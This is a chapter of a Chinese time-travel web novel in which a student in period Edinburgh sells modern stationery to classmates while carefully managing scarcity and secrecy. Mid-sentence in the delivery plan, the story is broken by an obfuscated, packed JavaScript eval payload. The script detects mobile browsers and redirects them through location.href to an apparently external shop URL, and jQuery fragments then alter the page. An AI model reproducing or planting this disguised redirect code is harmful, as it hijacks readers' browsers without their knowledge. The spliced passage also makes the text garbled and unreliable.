第七章代购
事情发酵得比西奥多预想的快。
周四早上，他把五支铅笔、五块橡皮和五十张白纸用一张旧报纸包好，揣在大衣内兜里，走进教室的时候，詹姆斯已经替他在旁边占好了位子。
"来了来了来了。"詹姆斯压低声音，眼睛发亮，"那几个人呢？"
"在后面。"西奥多坐下来，不动声色地说，"下课再给。"
孟罗教授准时走进来，开始讲脊柱。西奥多一边听一边记，和平时没有任何区别。但他能感觉到，教室后排有几个人的视线时不时落在他身上。
下课后，那四个人围了上来。
瘦高个叫托马斯·里德，爱丁堡本地人，父亲是个外科医生，话不多，但出手很大方——他不仅要了一支铅笔和一块橡皮，还额外要了二十张纸。
另外两个人一个叫阿奇博尔德·纳特，一个叫亨利·科克兰，都是苏格兰人，互相认识，一起从格拉斯哥过来的。两人各要了一支铅笔、一块橡皮和十张纸。
西奥多当场点清了便士，收进大衣口袋里。硬币碰撞的声音很轻，但在围过来的几个人听来，像是有什么东西在叮当作响。
"菲利普斯，"托马斯·里德走之前忽然回头，"你那个朋友，真的还能再弄到货吗？"
"我这两天就给他写信。"西奥多说。
里德点了点头，没再说什么，走了。
西奥多以为事情到此为止了。
但他低估了医学生的传播速度。
---
周五中午，他在图书馆整理笔记的时候，詹姆斯兴冲冲地跑过来，一屁股坐到他旁边。
"出事了。"
西奥多抬起头："什么？"
"今天上午解剖课的时候，里德在课上画图——就是用你那支铅笔。"詹姆斯压低声音，但压得不多，"你知道孟罗教授怎么说？"
"怎么说？"
"他说，''里德先生，你的骨骼图画得比上次好多了，用的什么笔？''里德就说是铅笔，孟罗教授拿过去看了一眼，又画了两笔，然后——"
詹姆斯停下来，像是在蓄力。
"然后他说，''这支笔比Borrowdale的好，你从哪来的？''"
西奥多手里的笔停了一下。
"里德没说实话吧？"
"当然没有，他说的和你一样——法国那边来的，朋友带的。然后孟罗教授就把笔还给他了，没再追问。"詹姆斯凑近了一点，"但是——整个教室的人都看见了。孟罗教授亲口说比Borrowdale的好。你知道这意味着什么吗？"
西奥多知道。
Borrowdale铅笔在这个时代的英国文具界，就是金字塔尖的东西。如果有人说有比它更好用、还更便宜的铅笔，那不是消息，那是地震。
"有多少人来问你了？"西奥多问。
"今天一上午，至少有十五个人来问我。"詹姆斯伸出两只手，"十五个。我都记下来了。"
他从口袋里掏出一张皱巴巴的纸，展开，推到西奥多面前。上面歪歪扭扭地写着一串名字，有的名字后面还标注了数量——铅笔几支、橡皮几块、纸几张。
西奥多看了一遍。
"你告诉他们了？"
"我就说了是你有渠道，从法国那边弄来的，价格和昨天一样。没多说别的。"詹姆斯看着他的表情，"你没生气吧？"
"没有。"西奥多把纸收起来，"不过不能再这样散着来了。"
詹姆斯愣了一下。
---
西奥多不是在故弄玄虚。
他心里很清楚，如果继续让消息这样无序地传播下去，用不了两周就会出问题。一来，在教室和图书馆里当面交易，太招摇了，万一被学校的人注意到，说不清；二来，人一多就乱，价格、数量、交付时间全靠嘴说，迟早出岔子；三来——也是最重要的——他必须维持住"稀缺感"。
东西越难买，人们就越想买。东西随手就能拿到，那就不值钱了。
所以他需要一个规则。
"你帮我做一件事。"西奥多对詹姆斯说。
"你说。"
"去找这些人，告诉他们三件事。"
西奥多竖起一根手指。
"第一，我可以帮他们代购，但我不是做生意的，我只是顺带给朋友帮忙。所以不保证每次都有货，也不保证什么时候到。"
第二根手指。
"第二，为了不影响学校的教学秩序，也不影响其他同学在图书馆学习，所有要买的人把名字和数量写在这张纸上，统一交给你。你不主动去找人，谁想来找你，你不拦。但不要在教室里公开说。"
詹姆斯听到最后一条，愣住了。
"只收便士？"他重复了一遍，"为什么不收先令？先令不是更方便吗？"
西奥多看了他一眼。
"不知道，他就只要便士。"
詹姆斯信了，"那便士不够找零怎么办？比如有人只要五张纸，那是五便士，但他只有先令——"
"让他自己去找别人换。"西奥多说，"我不负责找零，也不负责换钱。我只收便士，多少便士的东西就给多少便士，一个铜子儿不多，一个铜子儿不少。"
詹姆斯把这三条记在纸上，又念了一遍确认无误，然后小心翼翼地把纸折好，放进口袋里。
---
詹姆斯做事确实靠谱。
接下来的几天，他没有在教室里公开提过一个字，但消息像水一样自己流了出去。那些用过里德铅笔的人开始跟自己认识的人说，没见过的人开始好奇地问，好奇的人找詹姆斯，詹姆斯把那张纸递过去——
"把名字和数量写上，等着就行。"
没有推销，没有游说，没有讨价还价。就是写名字，等。
这反而让东西显得更紧俏了。
到下周周二，詹姆斯把那张纸递给西奥多的时候，上面的名字已经从十五个变成了三十二个。
西奥多在房间里把数字整理了一遍。
---
【第二批需求汇总】
铅笔：47支
橡皮：43块
白纸：620张
---
他看着这个数字，没有立刻下单。
不是嫌少，是不能一下子给太多。
三十二个人，这个规模已经不小了。如果一次性把货全部交出去，每个人拿到东西之后满足感很强，但传播的劲头就会弱下来——"想要就有，不着急"——这是他最不想看到的局面。
所以他决定分两批交货。
第一批，先满足一半人的需求。另一半人继续等。
等第一批人拿到东西、用起来、在课上被别人看见之后，第二批人的渴望就会达到顶峰。到那时候再交货，体验感会更强。
他在速记本上写了一个计划。
---
【交付计划】
第一批（本周）：铅笔24支，橡皮22块，白纸310
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449439|201128||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
张
第二批（两周后）：铅笔23支，橡皮21块，白纸310张
---
第一批的收入他也算了一下。
---
铅笔：24支×10便士=240便士
橡皮：22块×10便士=220便士
白纸：310张÷5×1便士=62便士
第一批收入：522便士=1镑17先令2便士
---
然后是成本。
---
铅笔：24支×0.35元=8.4元
橡皮：22块×0.50元=11.0元
白纸：310张×0.024元=7.44元
第一批成本：26.84元
---
二十六块八毛四。
不到二十七块钱的成本，换回来将近两镑。
西奥多合上速记本，把笔帽盖好，放进笔袋里。
他没有笑，也没有激动。心里只是很平静地确认了一件事——这条路走得通。
不是赚不赚钱的问题。是这种模式能不能持续的问题。
代购。只收便士。不主动推销。控制出货节奏。维持稀缺感。每一环都有明确的逻辑，每一环都在控制信息的流向。
他不需要做大。他只需要做稳。
---
周三下午，他在教室后面的角落里，把第一批货交给了詹姆斯。
二十四支铅笔、二十二块橡皮、三百一十张白纸，用旧报纸分成若干小包，每包上面写着名字。詹姆斯接过去的时候，手都在抖。
"你怎么包得这么仔细？"
"别弄混了。"西奥多说，"谁的东西给谁，别给错了。还有——"
他从口袋里掏出一个布袋子，递给詹姆斯。
"收钱用这个。便士放进去，别用口袋装，叮叮当当的太显眼。回去数清楚了，一便士一便士地数，数完记在纸上，晚上拿来给我看。"
詹姆斯接过布袋子，郑重地点了点头。
"放心。"
西奥多看着他抱着那包东西匆匆离去的背影，心想，这个人确实适合干这活儿——不是因为他聪明，而是因为他真诚。詹姆斯不会编故事，不会夸大其词，别人问他什么他就说什么，说不出的话就不说。
这种人在信息传播中是最可信的节点。他不需要演技，因为他本身就让人觉得可靠。
当天晚上，詹姆斯来敲他的门。
"菲利普斯先生？"沃克太太的声音从楼下传来，“有人找你。”
“让他上来。”
西奥多说这句话的时候，手心其实微微出了汗。
这是詹姆斯第一次来他住的地方。
他飞快地环视了一圈房间。书桌上摆着翻开的笔记本、几本旧皮封面的书、墨水瓶、鹅毛笔——没问题。床铺整洁，被褥是沃克太太提供的——没问题。厨房里灶台上放着半块面包和一碟冷肉——没问题。窗台上那盆不知道名字的植物——没问题。
角落里的铁盒子已经锁进了抽屉。
系统买来的那些打印书籍，都套着旧皮封是他花了大价钱请商家做的，摆在书架上和其他书混在一起，乍一看根本看不出来。
他甚至确认了一下废纸篓——空的。昨天晚上吃了一包系统商城买的饼干，包装袋已经撕成碎片，塞进灶膛里烧掉了，灰烬扒拉散，混在柴灰里，什么都看不出来。
他没有在房间里留下任何一样不属于这个时代的东西。